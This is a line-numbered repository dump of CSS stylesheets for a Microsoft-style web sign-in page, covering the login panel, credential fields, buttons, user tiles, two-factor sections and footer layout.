border-radius: 0; 173 | -moz-border-radius: 0; 174 | -webkit-border-radius: 0; 175 | box-shadow: none; 176 | -moz-box-shadow: none; 177 | -webkit-box-shadow: none; 178 | -webkit-appearance:none; 179 | background-color: #FDFDFD; 180 | width:250px; 181 | margin-bottom:10px; 182 | box-sizing: content-box; 183 | -moz-box-sizing: content-box; 184 | -webkit-box-sizing: content-box; 185 | } 186 | 187 | .mouse .signInInputText 188 | { 189 | height: 22px; 190 | font-size: 12px; 191 | padding: 3px 5px; 192 | color: #333333; 193 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 194 | margin-bottom: 20px; 195 | } 196 | 197 | .twide .signInInputText, .tnarrow .signInInputText 198 | { 199 | border-color: #666666; 200 | height: 22px; 201 | font-size: 16px; 202 | color: #000000; 203 | font: $ShellInputTextTouchFont; 204 | padding: 7px 7px; 205 | font-family:'Segoe UI WPC Semibold','Segoe UI Semibold','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 206 | margin-bottom:20px; 207 | width: 264px; 208 | } 209 | 210 | .divMain 211 | { 212 | width: 444px; 213 | } 214 | 215 | .l 216 | { 217 | text-align:left; 218 | } 219 | .rtl .l 220 | { 221 | text-align:right; 222 | } 223 | .r 224 | { 225 | text-align:right; 226 | } 227 | .rtl .r 228 | { 229 | text-align:left; 230 | } 231 | 232 | table#tblMain 233 | { 234 | margin-top: 48px; 235 | padding: 0px; 236 | } 237 | table.mid 238 | { 239 | width: 385px; 240 | border-collapse:collapse; 241 | padding: 0px; 242 | color:#444444; 243 | } 244 | table.tblConn 245 | { 246 | direction:ltr; 247 | } 248 | td.tdConnImg 249 | { 250 | width: 22px; 251 | } 252 | td.tdConn 253 | { 254 | padding-top: 15px; 255 | } 256 | td#mdLft 257 | { 258 | background: url("lgnleft.gif") repeat-y; 259 | width: 15px; 260 | } 261 | td#mdRt 262 | { 263 | background: url("lgnright.gif") repeat-y; 264 | width: 15px; 265 | } 266 | td#mdMid 267 | { 268 | padding: 0px 45px; 269 | background: #ffffff; 270 | vertical-align: top; 271 | } 272 | td .txtpad 273 | { 274 | padding: 3px 6px 3px 0px; 275 | } 276 | .txt 277 | { 278 | padding: 3px; 279 | height: 2.2em; 280 | } 281 | input.btn 282 | { 283 | color: #ffffff; 284 | background-color: #eb9c12; 285 | border: 0px; 286 | padding: 2px 6px; 287 | margin: 0px 6px; 288 | text-align:center; 289 | } 290 | .btnOnFcs 291 | { 292 | color: #ffffff; 293 | background-color: #eb9c12; 294 | border: 0px; 295 | padding: 2px 6px; 296 | margin: 0px 6px; 297 | text-align:center; 298 | } 299 | .btnOnMseOvr 300 | { 301 | color: #ffffff; 302 | background-color: #f9b133; 303 | border: 0px; 304 | padding: 2px 6px; 305 | margin: 0px 6px; 306 | text-align:center; 307 | } 308 | .btnOnMseDwn 309 | { 310 | color: #000000; 311 | background-color: #f9b133; 312 | border: 0px solid #f9b133; 313 | padding: 2px 6px; 314 | margin: 0px 6px; 315 | text-align:center; 316 | } 317 | .nowrap 318 | { 319 | white-space:nowrap; 320 | } 321 | hr 322 | { 323 | height: 0px; 324 | visibility: hidden; 325 | } 326 | 327 | .wrng 328 | { 329 | color:#ff6c00; 330 | } 331 | .disBsc 332 | { 333 | color:#999999; 334 | } 335 | .expl 336 | { 337 | color:#999999; 338 | } 339 | .w100, .txt 340 | { 341 | width: 100%; 342 | } 343 | .txt 344 | { 345 | margin: 0px 6px; 346 | } 347 | .rdo 348 | { 349 | margin: 0px 12px 0px 32px; 350 | } 351 | body.rtl .rdo 352 | { 353 | margin: 0px 32px 0px 12px; 354 | } 355 | tr.expl td, tr.wrng td 356 | { 357 | padding: 2px 0px 4px; 358 | } 359 | tr#trSec td 360 | { 361 | padding: 3px 0px 8px; 362 | } 363 | /* language page specific styles */ 364 | td#tdLng 365 | { 366 | padding: 12px 0px; 367 | } 368 | td#tdTz 369 | { 370 | padding: 8px 0px; 371 | } 372 | select#selTz 373 | { 374 | padding: 0px; 375 | margin: 0px; 376 | } 377 | td#tdOptMsg 378 | { 379 | padding: 10px 0px; 380 | } 381 | td#tdOptChk 382 | { 383 | padding: 0px 0px 15px 65px; 384 | } 385 | td#tdOptAcc 386 | { 387 | vertical-align:middle; 388 | padding: 0px 0px 0px 3px; 389 | } 390 | select#selLng 391 | { 392 | margin: 0px 16px; 393 | } 394 | /* logoff page specific styles */ 395 | td#tdMsg 396 | { 397 | margin: 9px 0px 64px; 398 | } 399 | input#btnCls 400 | { 401 | margin: 3px 6px; 402 | } 403 | td.lgnTL, td.lgnBL 404 | { 405 | width: 456px; 406 | } 407 | td.lgnTM 408 | { 409 | background: url("lgntopm.gif") repeat-x; 410 | width: 100%; 411 | } 412 | td.lgnBM 413 | { 414 | background: url("lgnbotm.gif") repeat-x; 415 | width: 100%; 416 | } 417 | td.lgnTR, td.lgnBR 418 | { 419 | width: 45px; 420 | } 421 | table.tblLgn 422 | { 423 | padding: 0px; 424 | margin: 0px; 425 | border-collapse:collapse; 426 | width: 100%; 427 | } 428 | .signInBg 429 | { 430 | margin:0px; 431 | } 432 | 433 | .signInTextHeader 434 | { 435 | font-size:60px; 436 | color:#404344; 437 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 438 | margin-bottom:18px; 439 | white-space: nowrap; 440 | } 441 | 442 | .signInInputLabel 443 | { 444 | font-size:12px; 445 | color:#666666; 446 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 447 | } 448 | 449 | .signInCheckBoxText 450 | { 451 | font-size:12px; 452 | color:#6A7479; 453 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 454 | margin-top:16px; 455 | } 456 | 457 | .twide .signInCheckBoxText, .tnarrow .signInCheckBoxText 458 | { 459 | font-size: 15px; 460 | } 461 | 462 | .signInCheckBoxLink 463 | { 464 | font-size:12px; 465 | color:#0072C6; 466 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 467 | } 468 | 469 | .signInEnter 470 | { 471 | font-size:22px; 472 | color:#0072C6; 473 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 474 | margin-top:20px; 475 | } 476 | 477 | .twide .signInEnter 478 | { 479 | margin-top:17px; 480 | font-size: 29px; 481 | } 482 | 483 | .tnarrow .signInEnter 484 | { 485 | margin-top:2px; 486 | font-size: 29px; 487 | position: relative; 488 | float: left; 489 | left: 50%; 490 | } 491 | 492 | .signinbutton 493 | { 494 | cursor:pointer; 495 | display:inline 496 | } 497 | 498 | .mouse .signinbutton 499 | { 500 | padding: 0px 8px 5px 8px; 501 | margin-left: -8px; 502 | } 503 | 504 | .rtl .mouse .signinbutton 505 | { 506 | margin-right: -8px; 507 | } 508 | 509 | .tnarrow .signinbutton 510 | { 511 | position: relative; 512 | float: left; 513 | left: -50%; 514 | } 515 | 516 | .shellDialogueHead 517 | { 518 | font-size:29px; 519 | color:#0072C6; 520 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 521 | } 522 | 523 | .mouse .shellDialogueHead 524 | { 525 | line-height: 35px; 526 | margin-bottom: 10px; 527 | } 528 | 529 | .twide .shellDialogueHead, .tnarrow .shellDialogueHead 530 | { 531 | line-height:34px; 532 | margin-bottom: 12px; 533 | } 534 | 535 | .shellDialogueMsg 536 | { 537 | font-size:13px; 538 | color:#333333; 539 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 540 | line-height:18px; 541 | } 542 | 543 | .twide .shellDialogueMsg, .tnarrow .shellDialogueMsg 544 | { 545 | font-size: 15px; 546 | } 547 | 548 | .headerMsgDiv 549 | { 550 | width: 350px; 551 | margin-bottom: 22px; 552 | } 553 | 554 | .twide .headermsgdiv 555 | { 556 | margin-bottom: 30px; 557 | } 558 | 559 | .tnarrow .headermsgdiv 560 | { 561 | width: 260px; 562 | margin-bottom: 30px; 563 | } 564 | 565 | .signInError 566 | { 567 | font-size:12px; 568 | color:#C1272D; 569 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 570 | margin-top:12px; 571 | } 572 | 573 | .passwordError 574 | { 575 | color: #A80F22; 576 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 577 | line-height: 18px; 578 | } 579 | 580 | .mouse .passwordError 581 | { 582 | margin-top: 10px; 583 | font-size: 13px; 584 | } 585 | 586 | .twide .passwordError, .tnarrow .passwordError 587 | { 588 | margin-top: 12px; 589 | font-size: 15px; 590 | } 591 | 592 | .signInExpl 593 | { 594 | font-size:12px; 595 | color:#999999; 596 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 597 | margin-top:5px; 598 | } 599 | 600 | .signInWarning 601 | { 602 | font-size:12px; 603 | color:#C1272D; 604 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 605 | margin-top:5px; 606 | } 607 | 608 | input.chk 609 | { 610 | margin-right:9px; 611 | margin-left:0px; 612 | } 613 | 614 | .imgLnk 615 | { 616 | vertical-align: middle; 617 | line-height:2; 618 | margin-top: -2px; 619 | } 620 | 621 | .signinTxt 622 | { 623 | padding-left:11px; 624 | padding-right:11px; /* Needed for RTL, doesnt hurt to add this for LTR as well */ 625 | } 626 | 627 | .hidden-submit { 628 | border: 0 none; 629 | height: 0; 630 | width: 0; 631 | padding: 0; 632 | margin: 0; 633 | overflow: hidden; 634 | } 635 | 636 | .officeFooter 637 | { 638 | position:absolute; 639 | bottom: 33px; 640 | right: 45px; 641 | } 642 | 643 | .tnarrow .officeFooter 644 | { 645 | display: none; 646 | } 647 | -------------------------------------------------------------------------------- /static/login.ltr.css: -------------------------------------------------------------------------------- 1 | /*---------------------------------------------------------- 2 | // Copyright (C) Microsoft Corporation. All rights reserved. 3 | //---------------------------------------------------------- 4 | // login.ltr.css 5 | */ 6 | 7 | @charset "utf-8"; 8 | 9 | /* 10 | @font-face { 11 | font-family: 'SegoeUI-Light-final'; 12 | src: url("SegoeUI-Light-final.eot"); 13 | src: url("SegoeUI-Light-final.eot?#iefix") format("embedded-opentype"), 14 | url("SegoeUI-Light-final.ttf") format("truetype"), 15 | url("SegoeUI-Light-final.woff") format("woff"), 16 | url("SegoeUI-Light-final.svg#web") format("svg"); 17 | font-style: normal; 18 | font-weight: normal; 19 | } 20 | @font-face { 21 | font-family: 'SegoeUI-Regular-final'; 22 | src: url("SegoeUI-Regular-final.eot"); 23 | src: url("SegoeUI-Regular-final.eot?#iefix") format("embedded-opentype"), 24 | url("SegoeUI-Regular-final.ttf") format("truetype"), 25 | url("SegoeUI-Regular-final.woff") format("woff"), 26 | url("SegoeUI-Regular-final.svg#web") format("svg"); 27 | font-style: normal; 28 | font-weight: normal; 29 | } 30 | */ 31 | 32 | /* This enabled viewport on a snapped IE10 to recognize the smaller width */ 33 | @-ms-viewport { 34 | width: device-width; 35 | height: device-height; 36 | } 37 | 38 | * { 39 | margin: 0; 40 | padding: 0; 41 | } 42 | 43 | html { 44 | background: #0072C6 no-repeat top left fixed; 45 | -webkit-background-size: cover; 46 | -mox-background-size: cover; 47 | -o-background-size: cover; 48 | background-size: cover; 49 | } 50 | 51 | body { 52 | margin: 0px; 53 | padding: 0px; 54 | z-index: -999; 55 | text-align: left; /* ltr */ 56 | } 57 | 58 | html, body, .login_panel { 59 | height: 100%; 60 | } 61 | 62 | #login_panel { 63 | display: none; 64 | border-left: 1px solid #FFFFFF; 65 | } 66 | 67 | #auto_low_bandwidth_background_notification { 68 | visibility: hidden; 69 | padding-left: 10px; 70 | padding-top: 5px; 71 | padding-right: 500px; 72 | color: #FFFFFF; 73 | } 74 | 75 | #background_company_name_text { 76 | color: #FFFFFF; 77 | margin-right: 500px; 78 | position: relative; 79 | top: 50%; /* vertical centering */ 80 | margin-top: -0.7em; /* vertical centering */ 81 | text-align: center; 82 | } 83 | 84 | a { 85 | text-decoration: none; 86 | color: #2872DD; 87 | background-color: transparent; 88 | } 89 | 90 | img { 91 | border: 0px; 92 | } 93 | 94 | form { 95 | width: auto; 96 | height: auto; 97 | } 98 | 99 | h1 { 100 | font-weight: normal; 101 | } 102 | 103 | .rtl { 104 | display: none; 105 | } 106 | 107 | .ltr { 108 | display: inline; 109 | } 110 | 111 | .tinytext { 112 | font-size: 0.7em; 113 | font-family: 'Segoe UI', 'Segoe', 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 114 | } 115 | 116 | .smalltext { 117 | font-size: 0.8em; 118 | font-family: 'Segoe UI' , 'Segoe' , 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 119 | } 120 | 121 | .normaltext { 122 | font-size: 0.9em; 123 | font-family: 'Segoe UI' , 'Segoe' , 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 124 | } 125 | 126 | .bigtext { 127 | color: #626262; 128 | font-size: 1.2em; 129 | font-family: 'Segoe UI Light' , 'Segoe', 'Segoe UI', 'SegoeUI-Light-final', Tahoma, Helvetica, Arial, sans-serif; 130 | font-weight: lighter; 131 | } 132 | 133 | .gianttext { 134 | color: #333333; 135 | font-size: 1.8em; 136 | font-family: 'Segoe UI Light' , 'Segoe', 'Segoe UI', 'SegoeUI-Light-final', Tahoma, Helvetica, Arial, sans-serif; 137 | font-weight: lighter; 138 | } 139 | 140 | .infotext { 141 | color: #333333; 142 | } 143 | 144 | .background_title_text { 145 | color: #333333; 146 | font-size: 5.0em; 147 | font-family: 'Segoe UI Light' , 'Segoe', 'Segoe UI', 'SegoeUI-Light-final', Tahoma, Helvetica, Arial, sans-serif; 148 | } 149 | 150 | .login_full_error_container { 151 | margin-top: 80px; 152 | } 153 | 154 | .login_full_error_container h1 { 155 | color: #333333; 156 | font-size: 1.2em; 157 | font-family: 'Segoe UI Light' , 'Segoe', 'Segoe UI', 'SegoeUI-Light-final', Tahoma, Helvetica, Arial, sans-serif; 158 | font-weight: lighter; 159 | } 160 | 161 | .login_full_error_container p { 162 | color: #333333; 163 | font-size: 0.8em; 164 | font-family: 'Segoe UI' , 'Segoe' , 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 165 | margin: 14px 0px 14px 0px; 166 | } 167 | 168 | .login_cta_container h1 { 169 | font-size: 1.0em; 170 | font-family: 'Segoe UI' , 'Segoe' , 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 171 | } 172 | 173 | .login_cta_container p { 174 | font-size: 0.8em; 175 | font-family: 'Segoe UI' , 'Segoe' , 'SegoeUI-Regular-final', Tahoma, Helvetica, Arial, sans-serif; 176 | margin: 14px 0px 14px 0px; 177 | } 178 | 179 | .client_error_msg { 180 | display: none; 181 | } 182 | 183 | .errortext { 184 | color: #E22910; 185 | } 186 | 187 | .textfield { 188 | width: 350px; 189 | } 190 | 191 | .login_panel li { 192 | display: block; 193 | list-style: none; 194 | } 195 | 196 | input[disabled] { 197 | background: transparent; 198 | } 199 | 200 | input:focus, 201 | select:focus, 202 | textarea:focus { 203 | outline: none; 204 | } 205 | 206 | div#background_branding_container { 207 | position: fixed; 208 | left: 0px; /* ltr */ 209 | top: 0; 210 | overflow: hidden; 211 | z-index: 0; 212 | opacity: 1; 213 | width: 100%; 214 | height: 100%; 215 | 216 | transition: opacity 1s; 217 | -moz-transition: opacity 1s; 218 | -webkit-transition: opacity 1s; 219 | -o-transition: opacity 1s; 220 | -ms-transition: opacity 1s; 221 | transition-property: opacity; 222 | transition-duration: 1s; 223 | } 224 | 225 | img#background_background_image { 226 | position: fixed; 227 | width: 100%; 228 | height: 100%; 229 | } 230 | 231 | div#background_page_overlay { 232 | position: fixed; 233 | left: 0px; /* ltr */ 234 | top: 0; 235 | width: 100%; 236 | height: 100%; 237 | overflow: hidden; 238 | z-index: 0; 239 | opacity: 1; 240 | background: #F7F7F7 no-repeat top left fixed; 241 | } 242 | 243 | .login_panel { 244 | background: #FFFFFF; 245 | position: fixed; 246 | right: 0px; /* ltr */ 247 | float: right; /* ltr */ 248 | height: 100%; 249 | width: 500px; 250 | margin: 0px; 251 | padding: 0px; 252 | z-index: 1; 253 | overflow-y: auto; 254 | overflow-x: hidden; 255 | } 256 | 257 | .login_inner_container { 258 | min-height: 100%; 259 | height: auto; 260 | max-height: 100%; 261 | width: 100%; 262 | margin-top: -10px; 263 | } 264 | 265 | .login_footer_container { 266 | position: relative; 267 | height: 50px; 268 | } 269 | 270 | .sticky_footer { 271 | margin-top: -3.5em; 272 | } 273 | 274 | .push { 275 | display: none; 276 | } 277 | 278 | .inner_container { 279 | padding-left: 0px; 280 | width: 100%; 281 | display: inline-block; 282 | position: relative; 283 | height: 100%; 284 | } 285 | 286 | .cred { 287 | padding-top: 90px; 288 | min-height: 100%; 289 | height: 100%; 290 | padding-bottom: 18em; 291 | } 292 | 293 | .login_workload_logo_container { 294 | margin-bottom: 100px; 295 | width: auto; 296 | height: auto; 297 | 298 | transition: margin 0.6s; 299 | -moz-transition: margin 0.6s; 300 | -webkit-transition: margin 0.6s; 301 | -o-transition: margin 0.6s; 302 | transition-property: margin; 303 | transition-duration: 0.6s; 304 | } 305 | 306 | .login_cta_container { 307 | width: auto; 308 | height: auto; 309 | padding-bottom: 30px; 310 | } 311 | 312 | .login_error_container { 313 | height: auto; 314 | padding-bottom: 20px; 315 | } 316 | 317 | .cta_text { 318 | width: 100%; 319 | } 320 | 321 | .login_cred_container { 322 | width: 100%; 323 | height: auto; 324 | margin-bottom: 60px; 325 | position: relative; 326 | display: block; 327 | padding: 0px; 328 | 329 | transition: margin 0.6s; 330 | -moz-transition: margin 0.6s; 331 | -webkit-transition: margin 0.6s; 332 | -o-transition: margin 0.6s; 333 | transition-property: margin; 334 | transition-duration: 0.6s; 335 | } 336 | 337 | .login_cred_field_container { 338 | width: 380px; 339 | margin: 0px; 340 | padding: 0px; 341 | display: list-item; 342 | } 343 | 344 | .login_user_chooser { 345 | width: 100%; 346 | } 347 | 348 | .login_cred_options_container { 349 | width: 380px; 350 | margin: 0px; 351 | padding: 0px; 352 | display: list-item; 353 | } 354 | 355 | div.login_textfield { 356 | z-index: -1; 357 | } 358 | 359 | .high_contrast_border { 360 | border: 1px solid #FFFFFF; 361 | width: auto; 362 | max-width: 350px; 363 | } 364 | 365 | input.login_textfield { 366 | height: 28px; 367 | padding-left: 3px; 368 | margin: 0px; 369 | border: 1px solid #B8B8B8; 370 | z-index: 3; 371 | margin-right: 100px; /* ltr */ 372 | margin-left: 0px; /* ltr */ 373 | background: transparent; 374 | color: #000000; 375 | } 376 | 377 | ::-webkit-input-placeholder { 378 | color: #767676; 379 | } 380 | 381 | :-moz-placeholder { 382 | color: #767676; 383 | } 384 | 385 | ::-moz-placeholder { 386 | color: #767676; 387 | } 388 | 389 | :-ms-input-placeholder { 390 | color: #767676; 391 | } 392 | 393 | span.placeholder { 394 | color: #767676; 395 | margin: 6px 0px 0px -6px; 396 | padding-left: 10px; 397 | width: 380px; 398 | z-index: -1; 399 | } 400 | 401 | .field { 402 | color: #6B6B6B; 403 | } 404 | 405 | .cred_sign_in_button { 406 | padding: 5px 20px 5px 20px; 407 | color: #FFFFFF; 408 | width: auto; 409 | margin-bottom: 34px; 410 | cursor: pointer; 411 | 412 | transition: opacity 1s; 413 | -moz-transition: opacity 1s; 414 | -webkit-transition: opacity 1s; 415 | -o-transition: opacity 1s; 416 | transition-property: opacity; 417 | transition-duration: 1s; 418 | } 419 | 420 | .button { 421 | background: #2672EC; 422 | border: 1px solid #FFFFFF; 423 | padding: 6px 12px 6px 12px; 424 | color: #FFFFFF; 425 | width: auto; 426 | cursor: pointer; 427 | margin-right: 4px; 428 | 429 | transition: background 1s; 430 | -moz-transition: background 1s; 431 | -webkit-transition: background 1s; 432 | -o-transition: background 1s; 433 | transition-property: background; 434 | transition-duration: 1s; 435 | 436 | -webkit-touch-callout: none; 437 | -webkit-user-select: none; 438 | -khtml-user-select: none; 439 | -moz-user-select: none; 440 | -ms-user-select: none; 441 | -o-user-select: none; 442 | user-select: none; 443 | } 444 | 445 | .button:hover { 446 | background: #D4E3FB; 447 | } 448 | 449 | .button:active { 450 | background: #212121; 451 | color: #FFFFFF; 452 | } 453 | 454 | .button:focus { 455 | outline: gold solid 1px; 456 | } 457 | 458 | .cred_cancel_button 459 | { 460 | background: #CBCBCB; 461 | color: #000000; 462 | } 463 | 464 | .cred_cancel_button:hover 465 | { 466 | background: #D6D6D6; 467 | color: #000000; 468 | } 469 | 470 | .cred_cancel_button:active 471 | { 472 | background: #0072C6; 473 | color: #000000; 474 | } 475 | 476 | .status { 477 | margin-top: 10px; 478 | margin-bottom: 20px; 479 | } 480 | 481 | .strong_subtext { 482 | margin-bottom: 10px; 483 | } 484 | 485 | .disabled_button { 486 | background: #2672EC; 487 | cursor: default; 488 | } 489 | 490 | input.login_textfield:focus { 491 | border: 1px solid #6B6B6B; 492 | } 493 | 494 | div#cred_userid_container { 495 | margin-bottom: 2px; 496 | } 497 | 498 | .progress div { 499 | width: 3px; 500 | height: 3px; 501 | overflow: hidden; 502 | position: absolute; 503 | background: #696969; 504 | z-index: 100; 505 | } 506 | 507 | .progress { 508 | position: relative; 509 | top: -6px; 510 | height: 6px; 511 | visibility: hidden; 512 | margin-left: 0px; 513 | } 514 | 515 | div#cred_password_container { 516 | width: 105%; 517 | opacity: 1; 518 | transition: visibility 1s; 519 | -moz-transition: visibility 1s; 520 | -webkit-transition: visibility 1s; 521 | -o-transition: visibility 1s; /* IE10+ */ 522 | transition-property: opacity visibility; 523 | transition-duration: 1s; 524 | } 525 | 526 | span.input_field { 527 | background: transparent; 528 | z-index: 0; 529 | } 530 | 531 | input:focus { 532 | border: 1px solid #000000; 533 | background: #FFFFFF; 534 | } 535 | 536 | .disabled { 537 | background: transparent; 538 | } 539 | 540 | div.subtext { 541 | margin-top: 10px; 542 | transition: opacity 1s; 543 | -moz-transition-property: opacity, background-color; 544 | -moz-transition-duration: 1s, 1s; 545 | -webkit-transition-property: opacity, background-color; 546 | -webkit-transition-duration: 1s, 1s; 547 | -o-transition: opacity, background-color; /* IE10+ */ 548 | -o-transition-duration: 1s 1s; 549 | transition-property: opacity, background-color; 550 | transition-duration: 1s, 1s; 551 | opacity: 1; 552 | } 553 | 554 | input#cred_keep_me_signed_in_checkbox { 555 | padding-right: 0px; 556 | border-color: #5B5B5B; 557 | } 558 | 559 | input#cred_keep_me_signed_in_checkbox:focus { 560 | outline: gold solid 1px; 561 | } 562 | 563 | #cred_kmsi_container { 564 | margin-bottom: 40px; /* ltr */ 565 | } 566 | 567 | #recover_container { 568 | margin-top: 30px; 569 | margin-bottom: 10px; /* ltr */ 570 | } 571 | 572 | #create_msa_account_container { 573 | margin-top: 30px; 574 | margin-bottom: 10px; 575 | } 576 | 577 | span.info_text { 578 | margin-left: 4px; 579 | } 580 | 581 | span#cred_forgot_password_link { 582 | cursor: pointer; 583 | margin-left: 0px; 584 | } 585 | 586 | #redirect_cta_text { 587 | margin-bottom: 10px; 588 | } 589 | 590 | #redirect_message_container { 591 | transition: opacity 1s; 592 | -moz-transition: opacity 1s; 593 | -webkit-transition: opacity 1s; 594 | -o-transition: opacity 1s; 595 | transition-property: opacity; 596 | transition-duration: 1s; 597 | opacity: 0; 598 | visibility: hidden; 599 | } 600 | 601 | a.inactive_link { 602 | margin-right: 30px; 603 | } 604 | 605 | .login_guest_container { 606 | width: 380px; 607 | height: auto; 608 | display: inline-block; 609 | position: relative; 610 | padding-top: 50px; 611 | margin-bottom: 60px; 612 | } 613 | 614 | div.guest_direction_hint { 615 | margin-top: 20px; 616 | margin-bottom: 6px; 617 | color: black; 618 | } 619 | 620 | div.guest_redirect_container { 621 | cursor: pointer; 622 | } 623 | 624 | #footer_links_container .inner_container { 625 | padding-top: 150px; 626 | } 627 | 628 | .footer { 629 | width: 100%; 630 | height: 40px; 631 | color: #666666; 632 | margin-left: 0px; 633 | display: inline-block; 634 | } 635 | 636 | div.footer a { 637 | color: #000000; 638 | } 639 | 640 | .branding_footer { 641 | padding-right: 10px; 642 | } 643 | 644 | .corp_link { 645 | padding-right: 5px; 646 | cursor: pointer; 647 | display: inline-block; 648 | } 649 | 650 | .corp_link:first-child { /* ltr */ 651 | padding-left: 0px; 652 | padding-right: 0px; 653 | } 654 | 655 | .hidden { 656 | visibility: hidden; 657 | } 658 | 659 | .no_cookie { 660 | } 661 | 662 | #back_button_container { 663 | float: left; 664 | margin-left: -34px; 665 | margin-top: 9px; 666 | } 667 | 668 | #back_button_image { 669 | width: 20px; 670 | height: 20px; 671 | } 672 | 673 | .show_other { 674 | margin-left: -5px; 675 | } 676 | 677 | #login_panel_left { 678 | width: 50px; 679 | height: 100%; 680 | display: inline-block; 681 | padding: 0; 682 | margin:0; 683 | border:0; 684 | } 685 | 686 | #login_panel_center { 687 | width: 379px; 688 | height: 100%; 689 | min-height: 100%; 690 | margin: 0; 691 | display: inline-block; 692 | padding: 0; border: 0; 693 | } 694 | 695 | #login_panel_right { 696 | width: 42px; 697 | height: 100%; 698 | display: inline-block; 699 | margin: 0; 700 | padding: 0; 701 | border: 0; 702 | } 703 | 704 | #footer_table { 705 | width: 100%; 706 | max-width: 379px; 707 | } 708 | 709 | #footer_table td { 710 | padding: 0; 711 | vertical-align: top; 712 | } 713 | 714 | .footer_glyph_container { 715 | display: inline-block; 716 | padding: 0; 717 | } 718 | 719 | .footer_glyph { 720 | width: 30px; 721 | height: 30px; 722 | padding: 0; 723 | padding-right: 7px; 724 | } 725 | 726 | span.branding_footer { 727 | padding-right: 0px; 728 | } 729 | 730 | .ad_glyph { 731 | width: 50px; 732 | height: 50px; 733 | } 734 | 735 | .hide { 736 | opacity: 0; 737 | } 738 | 739 | .no_display { 740 | display: none; 741 | } 742 | 743 | a.tile_link:focus table.user_tile { 744 | background: #0072C6; 745 | outline: none; 746 | color: #FFFFFF; 747 | } 748 | a.tile_link:hover .bigtext { 749 | color: #000000; 750 | } 751 | a.tile_link:focus .bigtext { 752 | color: #FFFFFF; 753 | } 754 | a.tile_link .bigtext { 755 | color: #000000; 756 | } 757 | a.tile_link { 758 | outline: none; 759 | width: 100%; 760 | color: #000000; 761 | } 762 | 763 | a.tile_link:hover { 764 | background: #ffffff; 765 | text-decoration: none; 766 | } 767 | 768 | table.user_tile { 769 | padding: 6px 0px 6px 10px; 770 | width: 100%; 771 | max-width: 350px; 772 | margin-left: -10px; 773 | } 774 | 775 | table.user_tile:hover { 776 | background: #E6E6E6; 777 | } 778 | 779 | table.user_tile:active { 780 | background: #0072C6; 781 | color: #FFFFFF; 782 | } 783 | 784 | div.disabled_tile, 785 | a.disabled_tile:focus table.disabled_tile, 786 | a.disabled_tile, table.disabled_tile, 787 | table.disabled_tile:hover, table.disabled_tile:active, 788 | a.disabled_tile:focus .bigtext { 789 | cursor: default; 790 | background: #FFFFFF; 791 | outline: none; 792 | color: #000000; 793 | } 794 | 795 | a.tooltip span { 796 | display: none; 797 | padding: 6px 6px; 798 | margin-left: 8px; 799 | text-align: center; 800 | width: auto; 801 | } 802 | 803 | a.tooltip:hover span { 804 | display: inline; 805 | position: absolute; 806 | background: #ffffff; 807 | border: 1px solid #373737; 808 | color: #373737; 809 | } 810 | 811 | div.tooltip span { 812 | display: none; 813 | padding: 6px 6px; 814 | margin-left: 8px; 815 | text-align: center; 816 | width: auto; 817 | } 818 | 819 | div.tooltip:hover span { 820 | display: inline; 821 | position: absolute; 822 | background: #ffffff; 823 | border: 1px solid #373737; 824 | color: #373737; 825 | } 826 | 827 | .tile_name { 828 | width: 100%; 829 | } 830 | 831 | .tile_primary_name { 832 | margin-left: 10px; 833 | margin-right: 10px; 834 | vertical-align: top; 835 | padding: 0px; 836 | } 837 | 838 | .tile_secondary_name { 839 | margin-left: 10px; 840 | margin-right: 10px; 841 | vertical-align: top; 842 | } 843 | 844 | #back_button { 845 | float: left; 846 | margin-left: -34px; 847 | margin-top: 10px; 848 | } 849 | 850 | .spaced_container { 851 | margin-bottom: 40px; 852 | } 853 | 854 | .hip_link { 855 | padding-left: 5px; 856 | padding-right: 5px; 857 | } 858 | 859 | .hip_link:first-child { 860 | padding-left: 0px; 861 | padding-right: 5px; 862 | } 863 | 864 | #hip_image_container { 865 | margin-top: 10px; 866 | } 867 | 868 | .hip_link a { 869 | color: #0073C6; 870 | } 871 | 872 | #hip_show_image_container { 873 | display: none; 874 | } 875 | 876 | .email_discovery { 877 | margin-top: 30px; 878 | } 879 | 880 | #looking_container { 881 | margin-bottom: 10px; 882 | } 883 | 884 | div.signed_out_sites > div:first-child { 885 | margin-top: 30px; 886 | margin-bottom: 5px; 887 | } 888 | 889 | .tfa_title_text { 890 | margin-bottom: 10px; 891 | } 892 | 893 | #tfa_title_text { 894 | margin-bottom: 40px; 895 | } 896 | 897 | #tfa_workload_logo_container { 898 | margin-bottom: 50px; 899 | } 900 | 901 | .tfa_button_container { 902 | margin-top: 20px; 903 | height: auto; 904 | } 905 | 906 | .tfa_bigtext { 907 | color: #333333; 908 | font-size: 1.0em; 909 | font-family: 'Segoe UI Light' , 'Segoe' , 'SegoeUI-Light-final', Tahoma, Helvetica, Arial, sans-serif; 910 | } 911 | 912 